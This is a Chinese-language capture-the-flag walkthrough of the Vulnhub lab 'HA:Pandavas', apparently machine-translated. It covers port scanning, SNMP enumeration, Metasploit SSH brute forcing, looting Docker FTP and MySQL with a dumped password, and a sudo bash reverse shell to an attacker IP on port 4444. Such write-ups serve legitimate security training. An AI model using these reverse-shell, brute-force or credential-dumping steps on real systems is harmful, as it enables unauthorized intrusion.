HA:Pandavas Vulnhub 演练
2020 年 6 月 16 日通过拉吉钱德尔
今天我们要解决另一个名为“Pandavas”的 boot2root 挑战。它可在 Vulnhub 上用于渗透测试实践。如果我们有正确的基础知识来打破实验室并且注意我们在侦察期间发现的所有细节,那么这个实验室并不难。制作这个实验室的功劳归功于Hacking Articles。让我们开始学习如何成功分解它。
级别:未定义
由于这些实验室可在 Vulnhub 网站上找到。让我们从这里下载实验室文件。
渗透测试方法
侦察
网络发现
地图
枚举
Snmpwalk
迪布
无线网络
使用 Metasploit 进行暴力破解
线性枚举
剥削
SSH登录
码头工人服务
mysql转储
权限提升
滥用 SUDO
夺旗
演练
侦察
与往常一样,我们使用“Netdiscover”工具识别主机的 IP:
所以,让我们首先用 nmap 列出所有 TCP 端口。
nmap -sV -p- 192.168.10.162
然后,我们将进行第二次扫描,但请注意,我们将添加命令“-sU”以获取 UDP 服务。
第二次检查 UDP 服务需要更长的时间,所以当 nmap 完成时,我们将借此机会检查找到的 TCP 服务。
枚举
我们首先访问web服务(80端口),我们找到了几张关于Pandavas的图片和资料,我们查看了源代码和robots.txt,似乎没有什么用处。(或至少,目前)
在 Dirb 的帮助下,我们将使用一个大字典和一个具有更多已知扩展名的短字典,我们将找到一个名为“ hidden.docx ”的文件
我们下载了“ hidden.docx ”文件:
我们打开文档,它为我们提供了“熊猫”历史的更多细节,下面我们看到了一条线索,可以引导我们找到第一面旗帜。
我们复制文本并将其粘贴到 nano 或其他文本编辑器中,标志会魔法出现。
现在,在枚举 UDP 服务时,我们检测到一个 SNMP 服务(端口 161),该服务通常被错误配置为“公共”通道,其中通常显示服务和组织的其他应用程序的机密信息。
为此,我们将使用“snmpwalk”工具,在那里我们将找到第二个标志和机器的用户名。
snmpwalk -v1 -c public 192.168.10.162 | more
剥削
我们已经有一个用户,但我们缺少密码,我尝试了一个包含 1000 个最常用密码的字典,但我们来自“黑客文章”的朋友不会让我们变得容易。所以我不得不使用 Web 服务页面(记住,端口 80)创建一个自定义字典。
创建字典后,我们使用 Metasploit 中的“ SSH LOGIN ”模块,我们使用用户“ karna ”和我们的自定义字典对其进行配置。
完美的!所以现在我们通过 SSH 连接并开始探索机器内部。
进入后,我们可以列出其他两个用户,我们检查我们拥有权限的文件和二进制文件,但这对我们不起作用。
因此,我们使用 Metasploit 蛮力启动另一个凭证列表,指定用户“ krishna ”。
伟大的!我们向用户“ krishna ”进行身份验证:
有了这个用户,我们可以通过 sudo 访问所有内容,因此我们可以以 sudo 的身份运行反向 shell,获得 root 权限,读取 root 标志并结束游戏……但我们距离完成挑战还有两个标志!
我们列出了机器的接口,发现至少在三个服务中存在 docker。
现在我们将列出机器上运行的 docker 进程,我们将列出一个 FTP 服务和一个看起来很有趣的 MySQL。
从 FTP 服务连接开始:
转到“ root ”文件夹,找到一个名为“ .ash_history ”的文件,读取它并获取以 Base64 编码的标志和凭据。
用base64解码字符串并获取密码。
我们现在将连接到 Docker 的 MySQL 服务:
我们将使用凭据“root”和密码“ ignite@123 ”闯入数据库。我们将使用以下命令帮助自己:
mysqldump -A –u root –password =ignite@123 |grep flag
完美,我们已经有了四个标志,现在我们只需要以“ root ”用户身份爬升权限并读取标志。
权限提升
获取 root 的方法有很多,我在 4444 端口上放置了一个带有 netcat 监听的终端,并使用以下命令在我的 kali 中以 root 身份启动了一个反向 shell:
在我们的卡利:
数控-nvlp 4444
在受害者机器上:
sudo -u root bash -i >& /dev/tcp/192.168.10.161/4444 0>&1
现在我们在受害者机器上执行命令,并在我们的 kali 中以 root 身份获得一个 shell。
现在是的,我们阅读了我们心爱的根标志并获得了第五个也是最后一个标志: